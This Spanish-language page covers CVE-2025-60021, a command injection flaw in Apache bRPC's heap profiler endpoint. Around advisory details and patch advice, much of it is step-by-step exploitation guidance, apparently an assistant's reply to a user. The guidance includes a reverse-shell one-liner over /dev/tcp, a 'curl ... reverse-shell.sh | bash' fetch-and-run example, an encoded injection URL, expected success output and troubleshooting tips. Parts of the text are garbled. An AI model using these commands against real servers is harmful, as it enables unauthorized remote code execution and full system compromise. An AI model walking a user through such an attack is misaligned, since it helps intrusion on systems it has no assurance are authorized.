
CVE-2025-60021

CVE-2025-60021 es una vulnerabilidad crítica de inyección remota de comandos encontrada en el servicio integrado de perfilado de heap (heap profiler) (/pprof/heap) de Apache bRPC en versiones anteriores a la 1.15.0, que permite a atacantes no autenticados ejecutar comandos arbitrarios del sistema operativo. (NVD)
| Atributo | Información |
|---|---|
| Nombre / ID | CVE-2025-60021 |
| Producto | Apache bRPC (todas las plataformas) |
| Versiones afectadas | < 1.15.0 |
| Fecha de publicación | 16 ene 2026 (NVD) |
| Tipo de vulnerabilidad | Inyección remota de comandos (CWE-77) (NVD) |
| Endpoint | /pprof/heap |
| Disparador | Parámetro extra_options sin sanitizar |
| Causa raíz | Entrada no validada antes de ejecutarse como comando del sistema operativo (openwall.com) |
❗Los atacantes pueden inyectar comandos de forma remota simplemente manipulando este parámetro de perfilado.
🔥 Clasificación de gravedad: Crítica
📊 Puntuación base CVSS v3.1: 9.8 / 10
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (INCIBE)
👉 Esto significa que los atacantes pueden ejecutar comandos arbitrarios de forma remota sin iniciar sesión: el peor escenario para los servicios expuestos.
/pprof/heap) destinado al análisis de memoria (jemalloc). (openwall.com)extra_options. En lugar de sanitizarlo, bRPC lo pasa directamente al shell del sistema operativo. (openwall.com)Esto asume que tienes el script guardado como CVE-2025-60021.py (aunque el CVE real es 2025-60021; siéntete libre de renombrarlo). Es un script de Python 3 para demostrar la vulnerabilidad de inyección remota de comandos en el heap profiler de Apache bRPC. Ejecútalo únicamente en sistemas que poseas o para los que tengas permiso explícito por escrito para realizar pruebas: explotar sin autorización es ilegal.
Entorno de Python: Asegúrate de tener Python 3 instalado (p. ej., 3.6+). El script utiliza módulos integrados además de requests y argparse (que son estándar o fáciles de instalar).
Instala las dependencias: Si aún no están presentes, instala la librería requests:
pip install requests
Configuración del objetivo: Necesitas un servidor Apache bRPC vulnerable:
http://localhost:8060 o una IP/puerto remotos).
Si pruebas localmente, configura una instancia vulnerable de bRPC (p. ej., mediante Docker o compilación desde el código fuente; consulta la documentación de Apache bRPC).Permisos: Ejecuta con sudo solo si es necesario para el acceso a la red o los privilegios; de lo contrario, basta con python3 normal.
Copia el código PoC que proporcioné antes en un archivo llamado CVE-2025-60021.py. Hazlo ejecutable si lo deseas:
chmod +x CVE-2025-60021.py
El script acepta dos argumentos posicionales obligatorios:
target: La URL del servidor bRPC vulnerable (p. ej., http://192.168.1.100:8060 o http://targets:8060; corrige cualquier error tipográfico, como un esquema faltante o un host no válido).cmd: El comando a ejecutar en el objetivo (p. ej., "id" para información del usuario, o algo más complejo como "curl http://your-server/reverse-shell.sh | bash" para una reverse shell). Usa && o ; para encadenar varios comandos.Abre una terminal (p. ej., en Kali Linux, ya que la estás usando) y ejecútalo con tu objetivo y comando. Ejemplos de comandos:
Prueba básica (obtener información del sistema):
sudo python3 CVE-2025-60021.py http://targets:8060 "id && whoami && uname -a"
Ejemplo de reverse shell (reemplaza your-listener-ip y el puerto; configura un listener como nc -lvnp 4444 primero):
sudo python3 CVE-2025-60021.py http://targets:8060 "bash -i >& /dev/tcp/your-listener-ip/4444 0>&1"
Si usas HTTPS o un puerto diferente, ajusta la URL en consecuencia (p. ej., https://target:443; el script lo maneja, pero añade --insecure si hay problemas de certificado).
Indicadores de éxito:
uid=0(root)... si ejecutó id).Indicadores de fallo (como lo que viste):
--enable_heap_profiler=true) y reinicia el servidor.cmd; inclúyelo siempre.echo "test" > /tmp/proof.txt) y verifica el archivo en el objetivo.; no funciona, prueba && o | para encadenar. Codifica en URL los caracteres especiales si es necesario (el script maneja la mayoría)./pprof/heap.Si el exploit tuvo éxito en un objetivo vulnerable (p. ej., heap profiler habilitado, bRPC sin parchear <1.15.0), la salida en tu terminal se vería más o menos así (los detalles exactos dependen de la salida estándar del comando y la configuración del servidor):
[*] Sending payload to: http://targets:8060/pprof/heap?extra_options=%3B+id+%26%26+whoami+%26%26+uname+-a+%23
[*] Executing command: id && whoami && uname -a
[+] Exploit likely succeeded! (200 OK)
[+] Check your listener / server logs for output
Response body (possible command output):
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
user
Linux target-host 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-29) x86_64 GNU/Linux
[followed by heap profile data or binary-ish output from jemalloc, like memory stats or a dump]
Las señales clave: estado 200 OK, y si tu comando (como id && whoami && uname -a) produce salida, esta podría aparecer en el cuerpo de la respuesta (mezclada con basura del perfilador). Para comandos silenciosos (p. ej., reverse shell), revisa el servidor objetivo o tu listener para ver actividad; no hay confirmación directa en la terminal más allá del 200. 😈
/pprof/heap desde redes no confiables.✔ Los atacantes no necesitan credenciales. ✔ Funciona a través de la red. ✔ Afecta a todas las plataformas que usan bRPC vulnerable. ✔ Puede llevar al compromiso total del sistema.
Las empresas que usan bRPC para servicios críticos (p. ej., búsqueda, almacenamiento, pipelines de machine learning) corren un riesgo especial porque esta falla convierte una herramienta de diagnóstico en un vector de ataque. (Daily CyberSecurity)
⚠ EPSS (Predicción de explotación): Algunas fuentes indican baja observación de explotación hasta ahora, pero la facilidad de explotación significa que podría ser utilizada en ataques reales rápidamente. (Tenable®)
📌 Clasificación: CWE-77 — Neutralización incorrecta de elementos especiales en un comando (Inyección de comandos). (NVD)
Si estás ejecutando Apache bRPC en producción, aplica el parche inmediatamente y restringe el acceso a los endpoints de diagnóstico para reducir el riesgo.
| Categoría de impacto | Efecto |
|---|
| Confidencialidad | Alta | |
| Integridad | Alta | |
| Disponibilidad | Alta | |
| Vector de ataque | Red | |
| Privilegios | No se requieren | |
| Interacción del usuario | No se necesita | (INCIBE) |